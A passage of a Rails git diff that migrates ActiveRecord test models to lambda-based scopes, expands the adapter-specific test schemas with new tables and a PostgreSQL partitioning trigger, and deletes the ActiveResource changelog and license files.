   belongs_to :thing, :polymorphic => true, :foreign_type => :sponsorable_type, :foreign_key => :sponsorable_id
-  belongs_to :sponsorable_with_conditions, :polymorphic => true,
-             :foreign_type => 'sponsorable_type', :foreign_key => 'sponsorable_id', :conditions => {:name => 'Ernie'}
+  belongs_to :sponsorable_with_conditions, -> { where :name => 'Ernie'}, :polymorphic => true,
+             :foreign_type => 'sponsorable_type', :foreign_key => 'sponsorable_id'
 end
diff --git a/activerecord/test/models/string_key_object.rb b/activerecord/test/models/string_key_object.rb
index f8d4c6e0e4..f084ec1bdc 100644
--- a/activerecord/test/models/string_key_object.rb
+++ b/activerecord/test/models/string_key_object.rb
@@ -1,3 +1,3 @@
 class StringKeyObject < ActiveRecord::Base
-  set_primary_key :id
+  self.primary_key = :id
 end
diff --git a/activerecord/test/models/subscriber.rb b/activerecord/test/models/subscriber.rb
index 5b78014e6f..76e85a0cd3 100644
--- a/activerecord/test/models/subscriber.rb
+++ b/activerecord/test/models/subscriber.rb
@@ -1,5 +1,5 @@
 class Subscriber < ActiveRecord::Base
-  set_primary_key 'nick'
+  self.primary_key = 'nick'
   has_many :subscriptions
   has_many :books, :through => :subscriptions
 end
diff --git a/activerecord/test/models/tagging.rb b/activerecord/test/models/tagging.rb
index ef323df158..f91f2ad2e9 100644
--- a/activerecord/test/models/tagging.rb
+++ b/activerecord/test/models/tagging.rb
@@ -3,12 +3,11 @@ module Taggable
 end
 
 class Tagging < ActiveRecord::Base
-  belongs_to :tag, :include => :tagging
+  belongs_to :tag, -> { includes(:tagging) }
   belongs_to :super_tag,   :class_name => 'Tag', :foreign_key => 'super_tag_id'
   belongs_to :invalid_tag, :class_name => 'Tag', :foreign_key => 'tag_id'
-  belongs_to :blue_tag,    :class_name => 'Tag', :foreign_key => :tag_id, :conditions => { :tags => { :name => 'Blue' } }
+  belongs_to :blue_tag, -> { where :tags => { :name => 'Blue' } }, :class_name => 'Tag', :foreign_key => :tag_id
   belongs_to :tag_with_primary_key, :class_name => 'Tag', :foreign_key => :tag_id, :primary_key => :custom_primary_key
-  belongs_to :interpolated_tag, :class_name => 'Tag', :foreign_key => :tag_id, :conditions => proc { "1 = #{1}" }
   belongs_to :taggable, :polymorphic => true, :counter_cache => true
   has_many :things, :through => :taggable
 end
diff --git a/activerecord/test/models/teapot.rb b/activerecord/test/models/teapot.rb
new file mode 100644
index 0000000000..b035b18c1b
--- /dev/null
+++ b/activerecord/test/models/teapot.rb
@@ -0,0 +1,35 @@
+class Teapot
+  # I'm a little teapot,
+  # Short and stout,
+  # Here is my handle
+  # Here is my spout
+  # When I get all steamed up,
+  # Hear me shout,
+  # Tip me over and pour me out!
+  #
+  # HELL YEAH TEAPOT SONG
+
+  include ActiveRecord::Model
+end
+
+class OtherTeapot < Teapot
+end
+
+class OMFGIMATEAPOT
+  def aaahhh
+    "mmm"
+  end
+end
+
+class CoolTeapot < OMFGIMATEAPOT
+  include ActiveRecord::Model
+  self.table_name = "teapots"
+end
+
+class Ceiling
+  include ActiveRecord::Model
+
+  class Teapot
+    include ActiveRecord::Model
+  end
+end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index fe424e61b2..4b27c16681 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -1,19 +1,20 @@
 class Topic < ActiveRecord::Base
-  scope :base
+  scope :base, -> { all }
   scope :written_before, lambda { |time|
     if time
-      { :conditions => ['written_on < ?', time] }
+      where 'written_on < ?', time
     end
   }
-  scope :approved, :conditions => {:approved => true}
-  scope :rejected, :conditions => {:approved => false}
+  scope :approved, -> { where(:approved => true) }
+  scope :rejected, -> { where(:approved => false) }
 
-  scope :by_lifo, :conditions => {:author_name => 'lifo'}
+  scope :scope_with_lambda, lambda { all }
 
-  scope :approved_as_hash_condition, :conditions => {:topics => {:approved => true}}
-  scope 'approved_as_string', :conditions => {:approved => true}
-  scope :replied, :conditions => ['replies_count > 0']
-  scope :anonymous_extension do
+  scope :by_lifo, -> { where(:author_name => 'lifo') }
+  scope :replied, -> { where 'replies_count > 0' }
+
+  scope 'approved_as_string', -> { where(:approved => true) }
+  scope :anonymous_extension, -> { all } do
     def one
       1
     end
@@ -30,18 +31,6 @@ class Topic < ActiveRecord::Base
       2
     end
   end
-  module MultipleExtensionOne
-    def extension_one
-      1
-    end
-  end
-  module MultipleExtensionTwo
-    def extension_two
-      2
-    end
-  end
-  scope :named_extension, :extend => NamedExtension
-  scope :multiple_extensions, :extend => [MultipleExtensionTwo, MultipleExtensionOne]
 
   has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
   has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
@@ -69,6 +58,8 @@ class Topic < ActiveRecord::Base
     id
   end
 
+  alias_attribute :heading, :title
+
   before_validation :before_validation_for_transaction
   before_save :before_save_for_transaction
   before_destroy :before_destroy_for_transaction
@@ -78,6 +69,11 @@ class Topic < ActiveRecord::Base
 
   after_initialize :set_email_address
 
+  class_attribute :after_initialize_called
+  after_initialize do
+    self.class.after_initialize_called = true
+  end
+
   def approved=(val)
     @custom_approved = val
     write_attribute(:approved, val)
@@ -106,6 +102,10 @@ class Topic < ActiveRecord::Base
     def after_create_for_transaction; end
 end
 
+class ImportantTopic < Topic
+  serialize :important, Hash
+end
+
 module Web
   class Topic < ActiveRecord::Base
     has_many :replies, :dependent => :destroy, :foreign_key => "parent_id", :class_name => 'Web::Reply'
diff --git a/activerecord/test/models/toy.rb b/activerecord/test/models/toy.rb
index 6c45e99671..ddc7048a56 100644
--- a/activerecord/test/models/toy.rb
+++ b/activerecord/test/models/toy.rb
@@ -1,6 +1,6 @@
 class Toy < ActiveRecord::Base
-  set_primary_key :toy_id
+  self.primary_key = :toy_id
   belongs_to :pet
 
-  scope :with_pet, joins(:pet)
+  scope :with_pet, -> { joins(:pet) }
 end
diff --git a/activerecord/test/models/treaty.rb b/activerecord/test/models/treaty.rb
index b46537f0d2..41fd1350f3 100644
--- a/activerecord/test/models/treaty.rb
+++ b/activerecord/test/models/treaty.rb
@@ -1,6 +1,6 @@
 class Treaty < ActiveRecord::Base
 
-  set_primary_key :treaty_id
+  self.primary_key = :treaty_id
 
   has_and_belongs_to_many :countries
 
diff --git a/activerecord/test/models/warehouse_thing.rb b/activerecord/test/models/warehouse_thing.rb
index 6ace1183cc..f20bd1a245 100644
--- a/activerecord/test/models/warehouse_thing.rb
+++ b/activerecord/test/models/warehouse_thing.rb
@@ -1,5 +1,5 @@
 class WarehouseThing < ActiveRecord::Base
-  set_table_name "warehouse-things"
+  self.table_name = "warehouse-things"
 
   validates_uniqueness_of :value
-end
\ No newline at end of file
+end
diff --git a/activerecord/test/models/without_table.rb b/activerecord/test/models/without_table.rb
index 184ab1649e..50c824e4ac 100644
--- a/activerecord/test/models/without_table.rb
+++ b/activerecord/test/models/without_table.rb
@@ -1,3 +1,3 @@
 class WithoutTable < ActiveRecord::Base
-  default_scope where(:published => true)
+  default_scope -> { where(:published => true) }
 end
diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb
index ab2c7ccc10..24a43d7ece 100644
--- a/activerecord/test/schema/mysql2_specific_schema.rb
+++ b/activerecord/test/schema/mysql2_specific_schema.rb
@@ -1,5 +1,5 @@
 ActiveRecord::Schema.define do
-  create_table :binary_fields, :force => true, :options => 'CHARACTER SET latin1' do |t|
+  create_table :binary_fields, :force => true do |t|
     t.binary :tiny_blob,   :limit => 255
     t.binary :normal_blob, :limit => 65535
     t.binary :medium_blob, :limit => 16777215
@@ -32,4 +32,13 @@ CREATE TABLE collation_tests (
 ) CHARACTER SET utf8 COLLATE utf8_general_ci
 SQL
 
-end
\ No newline at end of file
+  ActiveRecord::Base.connection.execute <<-SQL
+DROP TABLE IF EXISTS enum_tests;
+SQL
+
+  ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE enum_tests (
+  enum_column ENUM('true','false')
+)
+SQL
+end
diff --git a/activerecord/test/schema/mysql_specific_schema.rb b/activerecord/test/schema/mysql_specific_schema.rb
index a0adfe3752..802c08b819 100644
--- a/activerecord/test/schema/mysql_specific_schema.rb
+++ b/activerecord/test/schema/mysql_specific_schema.rb
@@ -1,5 +1,5 @@
 ActiveRecord::Schema.define do
-  create_table :binary_fields, :force => true, :options => 'CHARACTER SET latin1' do |t|
+  create_table :binary_fields, :force => true do |t|
     t.binary :tiny_blob,   :limit => 255
     t.binary :normal_blob, :limit => 65535
     t.binary :medium_blob, :limit => 16777215
@@ -43,4 +43,14 @@ CREATE TABLE collation_tests (
 ) CHARACTER SET utf8 COLLATE utf8_general_ci
 SQL
 
+  ActiveRecord::Base.connection.execute <<-SQL
+DROP TABLE IF EXISTS enum_tests;
+SQL
+
+  ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE enum_tests (
+  enum_column ENUM('true','false')
+)
+SQL
+
 end
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
index 5cf9a207f3..5f01f1fc50 100644
--- a/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,8 +1,8 @@
 ActiveRecord::Schema.define do
 
-  %w(postgresql_tsvectors postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings
-      postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones).each do |table_name|
-    execute "DROP TABLE  IF EXISTS #{quote_table_name table_name}"
+  %w(postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids
+      postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent).each do |table_name|
+    execute "DROP TABLE IF EXISTS #{quote_table_name table_name}"
   end
 
   execute 'DROP SEQUENCE IF EXISTS companies_nonstd_seq CASCADE'
@@ -10,6 +10,8 @@ ActiveRecord::Schema.define do
   execute "ALTER TABLE companies ALTER COLUMN id SET DEFAULT nextval('companies_nonstd_seq')"
   execute 'DROP SEQUENCE IF EXISTS companies_id_seq'
 
+  execute 'DROP FUNCTION IF EXISTS partitioned_insert_trigger()'
+
   %w(accounts_id_seq developers_id_seq projects_id_seq topics_id_seq customers_id_seq orders_id_seq).each do |seq_name|
     execute "SELECT setval('#{seq_name}', 100)"
   end
@@ -57,12 +59,29 @@ _SQL
 _SQL
 
   execute <<_SQL
+  CREATE TABLE postgresql_uuids (
+    id SERIAL PRIMARY KEY,
+    guid uuid,
+    compact_guid uuid
+  );
+_SQL
+
+  execute <<_SQL
   CREATE TABLE postgresql_tsvectors (
     id SERIAL PRIMARY KEY,
     text_vector tsvector
   );
 _SQL
 
+  if 't' == select_value("select 'hstore'=ANY(select typname from pg_type)")
+  execute <<_SQL
+  CREATE TABLE postgresql_hstores (
+    id SERIAL PRIMARY KEY,
+    hash_store hstore default ''::hstore
+  );
+_SQL
+  end
+
   execute <<_SQL
   CREATE TABLE postgresql_moneys (
     id SERIAL PRIMARY KEY,
@@ -116,6 +135,37 @@ _SQL
   );
 _SQL
 
+begin
+    execute <<_SQL
+    CREATE TABLE postgresql_partitioned_table_parent (
+      id SERIAL PRIMARY KEY,
+      number integer
+    );
+    CREATE TABLE postgresql_partitioned_table ( )
+      INHERITS (postgresql_partitioned_table_parent);
+
+    CREATE OR REPLACE FUNCTION partitioned_insert_trigger()
+    RETURNS TRIGGER AS $$
+    BEGIN
+      INSERT INTO postgresql_partitioned_table VALUES (NEW.*);
+      RETURN NULL;
+    END;
+    $$
+    LANGUAGE plpgsql;
+
+    CREATE TRIGGER insert_partitioning_trigger
+      BEFORE INSERT ON postgresql_partitioned_table_parent
+      FOR EACH ROW EXECUTE PROCEDURE partitioned_insert_trigger();
+_SQL
+rescue ActiveRecord::StatementInvalid => e
+  if e.message =~ /language "plpgsql" does not exist/
+    execute "CREATE LANGUAGE 'plpgsql';"
+    retry
+  else
+    raise e
+  end
+end
+
   begin
     execute <<_SQL
     CREATE TABLE postgresql_xml_data_type (
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index bb08f5c181..7c45ca27c0 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -37,7 +37,12 @@ ActiveRecord::Schema.define do
 
   create_table :admin_users, :force => true do |t|
     t.string :name
-    t.text :settings
+    t.string :settings, :null => true, :limit => 1024
+    # MySQL does not allow default values for blobs. Fake it out with a
+    # big varchar below.
+    t.string :preferences, :null => true, :default => '', :limit => 1024
+    t.string :json_data, :null => true, :limit => 1024
+    t.string :json_data_empty, :null => true, :default => "", :limit => 1024
     t.references :account
   end
 
@@ -75,6 +80,7 @@ ActiveRecord::Schema.define do
   create_table :binaries, :force => true do |t|
     t.string :name
     t.binary :data
+    t.binary :short_data, :limit => 2048
   end
 
   create_table :birds, :force => true do |t|
@@ -90,6 +96,7 @@ ActiveRecord::Schema.define do
 
   create_table :booleans, :force => true do |t|
     t.boolean :value
+    t.boolean :has_fun, :null => false, :default => false
   end
 
   create_table :bulbs, :force => true do |t|
@@ -107,6 +114,7 @@ ActiveRecord::Schema.define do
     t.string  :name
     t.integer :engines_count
     t.integer :wheels_count
+    t.column :lock_version, :integer, :null => false, :default => 0
   end
 
   create_table :categories, :force => true do |t|
@@ -170,9 +178,11 @@ ActiveRecord::Schema.define do
     t.integer :client_of
     t.integer :rating, :default => 1
     t.integer :account_id
+    t.string :description, :default => ""
   end
 
   add_index :companies, [:firm_id, :type, :rating, :ruby_type], :name => "company_index"
+  add_index :companies, [:firm_id, :type], :name => "company_partial_index", :where => "rating > 10"
 
   create_table :computers, :force => true do |t|
     t.integer :developer, :null => false
@@ -212,6 +222,16 @@ ActiveRecord::Schema.define do
     t.integer :access_level, :default => 1
   end
 
+  create_table :dog_lovers, :force => true do |t|
+    t.integer :trained_dogs_count, :default => 0
+    t.integer :bred_dogs_count, :default => 0
+  end
+
+  create_table :dogs, :force => true do |t|
+    t.integer :trainer_id
+    t.integer :breeder_id
+  end
+
   create_table :edges, :force => true, :id => false do |t|
     t.column :source_id, :integer, :null => false
     t.column :sink_id,   :integer, :null => false
@@ -250,6 +270,11 @@ ActiveRecord::Schema.define do
     t.string :name
   end
 
+  create_table :friendships, :force => true do |t|
+    t.integer :friend_id
+    t.integer :person_id
+  end
+
   create_table :goofy_string_id, :force => true, :id => false do |t|
     t.string :id, :null => false
     t.string :info
@@ -341,6 +366,11 @@ ActiveRecord::Schema.define do
     t.string :extra_data
   end
 
+  create_table :member_friends, :force => true, :id => false do |t|
+    t.integer :member_id
+    t.integer :friend_id
+  end
+
   create_table :memberships, :force => true do |t|
     t.datetime :joined_on
     t.integer :club_id, :member_id
@@ -425,6 +455,7 @@ ActiveRecord::Schema.define do
 
   create_table :parrots, :force => true do |t|
     t.column :name, :string
+    t.column :color, :string
     t.column :parrot_sti_class, :string
     t.column :killer_id, :integer
     t.column :created_at, :datetime
@@ -450,11 +481,17 @@ ActiveRecord::Schema.define do
     t.references :number1_fan
     t.integer    :lock_version, :null => false, :default => 0
     t.string     :comments
+    t.integer    :followers_count, :default => 0
     t.references :best_friend
     t.references :best_friend_of
     t.timestamps
   end
 
+  create_table :peoples_treasures, :id => false, :force => true do |t|
+    t.column :rich_person_id, :integer
+    t.column :treasure_id, :integer
+  end
+
   create_table :pets, :primary_key => :pet_id ,:force => true do |t|
     t.string :name
     t.integer :owner_id, :integer
@@ -505,6 +542,11 @@ ActiveRecord::Schema.define do
     t.string :type
   end
 
+  create_table :randomly_named_table, :force => true do |t|
+    t.string  :some_attribute
+    t.integer :another_attribute
+  end
+
   create_table :ratings, :force => true do |t|
     t.integer :comment_id
     t.integer :value
@@ -596,6 +638,12 @@ ActiveRecord::Schema.define do
     t.datetime :ending
   end
 
+  create_table :teapots, :force => true do |t|
+    t.string :name
+    t.string :type
+    t.timestamps
+  end
+
   create_table :topics, :force => true do |t|
     t.string   :title
     t.string   :author_name
@@ -607,8 +655,10 @@ ActiveRecord::Schema.define do
     # Oracle SELECT WHERE clause which causes many unit test failures
     if current_adapter?(:OracleAdapter)
       t.string   :content, :limit => 4000
+      t.string   :important, :limit => 4000
     else
       t.text     :content
+      t.text     :important
     end
     t.boolean  :approved, :default => true
     t.integer  :replies_count, :default => 0
@@ -700,8 +750,6 @@ ActiveRecord::Schema.define do
   create_table :countries_treaties, :force => true, :id => false do |t|
     t.string :country_id, :null => false
     t.string :treaty_id, :null => false
-    t.datetime :created_at
-    t.datetime :updated_at
   end
 
   create_table :liquid, :force => true do |t|
@@ -736,4 +784,9 @@ end
 
 Course.connection.create_table :courses, :force => true do |t|
   t.column :name, :string, :null => false
+  t.column :college_id, :integer
+end
+
+College.connection.create_table :colleges, :force => true do |t|
+  t.column :name, :string, :null => false
 end
diff --git a/activerecord/test/schema/sqlite_specific_schema.rb b/activerecord/test/schema/sqlite_specific_schema.rb
index ea05b35fe0..e9ddeb32cf 100644
--- a/activerecord/test/schema/sqlite_specific_schema.rb
+++ b/activerecord/test/schema/sqlite_specific_schema.rb
@@ -1,5 +1,5 @@
 ActiveRecord::Schema.define do
-  # For sqlite 3.1.0+, make a table with a autoincrement column
+  # For sqlite 3.1.0+, make a table with an autoincrement column
   if supports_autoincrement?
     create_table :table_with_autoincrement, :force => true do |t|
       t.column :name, :string
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
index a39794fa39..92736e0ca9 100644
--- a/activerecord/test/support/connection.rb
+++ b/activerecord/test/support/connection.rb
@@ -1,5 +1,6 @@
-require 'logger'
-require_dependency 'models/course'
+require 'active_support/logger'
+require 'models/college'
+require 'models/course'
 
 module ARTest
   def self.connection_name
@@ -11,10 +12,10 @@ module ARTest
   end
 
   def self.connect
-    puts "Using #{connection_name} with Identity Map #{ActiveRecord::IdentityMap.enabled? ? 'on' : 'off'}"
-    ActiveRecord::Base.logger = Logger.new("debug.log")
-    ActiveRecord::Base.configurations = connection_config
-    ActiveRecord::Base.establish_connection 'arunit'
-    Course.establish_connection 'arunit2'
+    puts "Using #{connection_name}"
+    ActiveRecord::Model.logger = ActiveSupport::Logger.new("debug.log")
+    ActiveRecord::Model.configurations = connection_config
+    ActiveRecord::Model.establish_connection 'arunit'
+    ARUnit2Model.establish_connection 'arunit2'
   end
 end
diff --git a/activeresource/CHANGELOG.md b/activeresource/CHANGELOG.md
deleted file mode 100644
index 09d1eeb1c8..0000000000
--- a/activeresource/CHANGELOG.md
+++ /dev/null
@@ -1,334 +0,0 @@
-## Rails 3.2.0 (unreleased) ##
-
-*   Redirect responses: 303 See Other and 307 Temporary Redirect now behave like
-    301 Moved Permanently and 302 Found.  GH #3302.
-
-    *Jim Herz*
-
-
-## Rails 3.1.1 (October 7, 2011) ##
-
-*   No changes.
-
-
-## Rails 3.1.0 (August 30, 2011) ##
-
-*   The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. eg.
-
-    class User < ActiveResource::Base    self.format = :xml
-    end
-
-## Rails 3.0.7 (April 18, 2011) ##
-
-*   No changes.
-
-
-*   Rails 3.0.6 (April 5, 2011)
-
-*   No changes.
-
-
-## Rails 3.0.5 (February 26, 2011) ##
-
-*   No changes.
-
-
-## Rails 3.0.4 (February 8, 2011) ##
-
-*   No changes.
-
-
-## Rails 3.0.3 (November 16, 2010) ##
-
-*   No changes.
-
-
-## Rails 3.0.2 (November 15, 2010) ##
-
-*   No changes
-
-
-## Rails 3.0.1 (October 15, 2010) ##
-
-*   No Changes, just a version bump.
-
-
-## Rails 3.0.0 (August 29, 2010) ##
-
-*   JSON: set Base.include_root_in_json = true to include a root value in the JSON: {"post": {"title": ...}}. Mirrors the Active Record option.  *Santiago Pastorino*
-
-*   Add support for errors in JSON format.  #1956 *Fabien Jakimowicz*
-
-*   Recognizes 410 as Resource Gone. #2316 *Jordan Brough, Jatinder Singh*
-
-*   More thorough SSL support.  #2370 *Roy Nicholson*
-
-*   HTTP proxy support.  #2133 *Marshall Huss, Sébastien Dabet*
-
-
-## 2.3.2 Final (March 15, 2009) ##
-
-*   Nothing new, just included in 2.3.2
-
-
-## 2.2.1 RC2 (November 14th, 2008) ##
-
-*   Fixed that ActiveResource#post would post an empty string when it shouldn't be posting anything #525 *Paolo Angelini*
-
-
-## 2.2.0 RC1 (October 24th, 2008) ##
-
-*   Add ActiveResource::Base#to_xml and ActiveResource::Base#to_json. #1011 *Rasik Pandey, Cody Fauser*
-
-*   Add ActiveResource::Base.find(:last). [#754 state:resolved] (Adrian Mugnolo)
-
-*   Fixed problems with the logger used if the logging string included %'s [#840 state:resolved] (Jamis Buck)
-
-*   Fixed Base#exists? to check status code as integer [#299 state:resolved] (Wes Oldenbeuving)
-
-
-## 2.1.0 (May 31st, 2008) ##
-
-*   Fixed response logging to use length instead of the entire thing (seangeo) *#27*
-
-*   Fixed that to_param should be used and honored instead of hardcoding the id #11406 *gspiers*
-
-*   Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert*
-
-*   Use HEAD instead of GET in exists? *bscofield*
-
-*   Fix small documentation typo.  Closes #10670 *Luca Guidi*
-
-*   find_or_create_resource_for handles module nesting.  #10646 *xavier*
-
-*   Allow setting ActiveResource::Base#format before #site.  *Rick Olson*
-
-*   Support agnostic formats when calling custom methods.  Closes #10635 *joerichsen*
-
-*   Document custom methods.  #10589 *Cheah Chu Yeow*
-
-*   Ruby 1.9 compatibility.  *Jeremy Kemper*
-
-
-## 2.0.2 (December 16th, 2007) ##
-
-*   Added more specific exceptions for 400, 401, and 403 (all descending from ClientError so existing rescues will work) #10326 *trek*
-
-*   Correct empty response handling.  #10445 *seangeo*
-
-
-## 2.0.1 (December 7th, 2007) ##
-
-*   Don't cache net/http object so that ActiveResource is more thread-safe.  Closes #10142 *kou*
-
-*   Update XML documentation examples to include explicit type attributes. Closes #9754 *Josh Susser*
-
-*   Added one-off declarations of mock behavior [David Heinemeier Hansson]. Example:
-
-        Before:
-          ActiveResource::HttpMock.respond_to do |mock|
-            mock.get "/people/1.xml", {}, "<person><name>David</name></person>"
-          end
-
-        Now:
-          ActiveResource::HttpMock.respond_to.get "/people/1.xml", {}, "<person><name>David</name></person>"
-
-*   Added ActiveResource.format= which defaults to :xml but can also be set to :json [David Heinemeier Hansson]. Example:
-
-        class Person < ActiveResource::Base
-          self.site   = "http://app/"
-          self.format = :json
-        end
-
-        person = Person.find(1) # => GET http://app/people/1.json
-        person.name = "David"
-        person.save             # => PUT http://app/people/1.json {name: "David"}
-
-        Person.format = :xml
-        person.name = "Mary"
-        person.save             # => PUT http://app/people/1.json <person><name>Mary</name></person>
-
-*   Fix reload error when path prefix is used.  #8727 *Ian Warshak*
-
-*   Remove ActiveResource::Struct because it hasn't proven very useful. Creating a new ActiveResource::Base subclass is often less code and always clearer.  #8612 *Josh Peek*
-
-*   Fix query methods on resources. *Cody Fauser*
-
-*   pass the prefix_options to the instantiated record when using find without a specific id. Closes #8544 *Eloy Duran*
-
-*   Recognize and raise an exception on 405 Method Not Allowed responses.  #7692 *Josh Peek*
-
-*   Handle string and symbol param keys when splitting params into prefix params and query params.
-
-        Comment.find(:all, :params => { :article_id => 5, :page => 2 }) or Comment.find(:all, :params => { 'article_id' => 5, :page => 2 })
-
-*   Added find-one with symbol [David Heinemeier Hansson]. Example: Person.find(:one, :from => :leader) # => GET /people/leader.xml
-
-*   BACKWARDS INCOMPATIBLE: Changed the finder API to be more extensible with :params and more strict usage of scopes [David Heinemeier Hansson]. Changes:
-
-        Person.find(:all, :title => "CEO")      ...becomes: Person.find(:all, :params => { :title => "CEO" })
-        Person.find(:managers)                  ...becomes: Person.find(:all, :from => :managers)
-        Person.find("/companies/1/manager.xml") ...becomes: Person.find(:one, :from => "/companies/1/manager.xml")
-
-*   Add support for setting custom headers per Active Resource model *Rick Olson*
-
-    class Project
-        headers['X-Token'] = 'foo'
-    end
-
-    \# makes the GET request with the custom X-Token header
-    Project.find(:all)
-
-*   Added find-by-path options to ActiveResource::Base.find [David Heinemeier Hansson]. Examples:
-
-        employees = Person.find(:all, :from => "/companies/1/people.xml") # => GET /companies/1/people.xml
-        manager   = Person.find("/companies/1/manager.xml")               # => GET /companies/1/manager.xml
-
-
-*   Added support for using classes from within a single nested module [David Heinemeier Hansson]. Example:
-
-        module Highrise
-          class Note < ActiveResource::Base
-            self.site = "http://37s.sunrise.i:3000"
-          end
-
-          class Comment < ActiveResource::Base
-            self.site = "http://37s.sunrise.i:3000"
-          end
-        end
-
-    assert_kind_of Highrise::Comment, Note.find(1).comments.first
-
-
-*   Added load_attributes_from_response as a way of loading attributes from other responses than just create *David Heinemeier Hansson*
-
-        class Highrise::Task < ActiveResource::Base
-          def complete
-            load_attributes_from_response(post(:complete))
-          end
-        end
-
-    ...will set "done_at" when complete is called.
-
-
-*   Added support for calling custom methods #6979 *rwdaigle*
-
-        Person.find(:managers)    # => GET /people/managers.xml
-        Kase.find(1).post(:close) # => POST /kases/1/close.xml
-
-*   Remove explicit prefix_options parameter for ActiveResource::Base#initialize. *Rick Olson*
-    ActiveResource splits the prefix_options from it automatically.
-
-*   Allow ActiveResource::Base.delete with custom prefix. *Rick Olson*
-
-*   Add ActiveResource::Base#dup *Rick Olson*
-
-*   Fixed constant warning when fetching the same object multiple times *David Heinemeier Hansson*
-
-*   Added that saves which get a body response (and not just a 201) will use that response to update themselves *David Heinemeier Hansson*
-
-*   Disregard namespaces from the default element name, so Highrise::Person will just try to fetch from "/people", not "/highrise/people" *David Heinemeier Hansson*
-
-*   Allow array and hash query parameters.  #7756 *Greg Spurrier*
-
-*   Loading a resource preserves its prefix_options.  #7353 *Ryan Daigle*
-
-*   Carry over the convenience of #create from ActiveRecord.  Closes #7340.  *Ryan Daigle*
-
-*   Increase ActiveResource::Base test coverage.  Closes #7173, #7174 *Rich Collins*
-
-*   Interpret 422 Unprocessable Entity as ResourceInvalid.  #7097 *dkubb*
-
-*   Mega documentation patches. #7025, #7069 *rwdaigle*
-
-*   Base.exists?(id, options) and Base#exists? check whether the resource is found.  #6970 *rwdaigle*
-
-*   Query string support.  *untext, Jeremy Kemper*
-        # GET /forums/1/topics.xml?sort=created_at
-        Topic.find(:all, :forum_id => 1, :sort => 'created_at')
-
-*   Base#==, eql?, and hash methods. == returns true if its argument is identical to self or if it's an instance of the same class, is not new?, and has the same id. eql? is an alias for ==. hash delegates to id.  *Jeremy Kemper*
-
-*   Allow subclassed resources to share the site info *Rick Olson, Jeremy Kemper*
-    d        class BeastResource < ActiveResource::Base
-          self.site = 'http://beast.caboo.se'
-        end
-
-        class Forum < BeastResource
-          # taken from BeastResource
-          # self.site = 'http://beast.caboo.se'
-        end
-
-        class Topic < BeastResource
-          self.site += '/forums/:forum_id'
-        end
-
-*   Fix issues with ActiveResource collection handling.  Closes #6291. *bmilekic*
-
-*   Use attr_accessor_with_default to dry up attribute initialization. References #6538. *Stuart Halloway*
-
-*   Add basic logging support for logging outgoing requests. *Jamis Buck*
-
-*   Add Base.delete for deleting resources without having to instantiate them first. *Jamis Buck*
-
-*   Make #save behavior mimic AR::Base#save (true on success, false on failure). *Jamis Buck*
-
-*   Add Basic HTTP Authentication to ActiveResource (closes #6305). *jonathan*
-
-*   Extracted #id_from_response as an entry point for customizing how a created resource gets its own ID.
-    By default, it extracts from the Location response header.
-
-*   Optimistic locking: raise ActiveResource::ResourceConflict on 409 Conflict response. *Jeremy Kemper*
-
-        # Example controller action
-        def update
-          @person.save!
-        rescue ActiveRecord::StaleObjectError
-          render :xml => @person.reload.to_xml, :status => '409 Conflict'
-        end
-
-*   Basic validation support *Rick Olson*
-
-    Parses the xml response of ActiveRecord::Errors#to_xml with a similar interface to ActiveRecord::Errors.
-
-        render :xml => @person.errors.to_xml, :status => '400 Validation Error'
-
-*   Deep hashes are converted into collections of resources.  *Jeremy Kemper*
-        Person.new :name => 'Bob',
-                   :address => { :id => 1, :city => 'Portland' },
-                   :contacts => [{ :id => 1 }, { :id => 2 }]
-    Looks for Address and Contact resources and creates them if unavailable.
-    So clients can fetch a complex resource in a single request if you e.g.
-        render :xml => @person.to_xml(:include => [:address, :contacts])
-    in your controller action.
-
-*   Major updates *Rick Olson*
-
-    * Add full support for find/create/update/destroy
-    * Add support for specifying prefixes.
-    * Allow overriding of element_name, collection_name, and primary key
-    * Provide simpler HTTP mock interface for testing
-
-        # rails routing code
-        map.resources :posts do |post|
-          post.resources :comments
-        end
-
-        # ActiveResources
-        class Post < ActiveResource::Base
-          self.site = "http://37s.sunrise.i:3000/"
-        end
-
-        class Comment < ActiveResource::Base
-          self.site = "http://37s.sunrise.i:3000/posts/:post_id/"
-        end
-
-        @post     = Post.find 5
-        @comments = Comment.find :all, :post_id => @post.id
-
-        @comment  = Comment.new({:body => 'hello world'}, {:post_id => @post.id})
-        @comment.save
-
-*   Base.site= accepts URIs. 200...400 are valid response codes. PUT and POST request bodies default to ''. *Jeremy Kemper*
-
-*   Initial checkin: object-oriented client for restful HTTP resources which follow the Rails convention. *David Heinemeier Hansson*
diff --git a/activeresource/MIT-LICENSE b/activeresource/MIT-LICENSE
deleted file mode 100644
index 216b6e5ba0..0000000000
--- a/activeresource/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright (c) 2006-2011 David Heinemeier Hansson
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
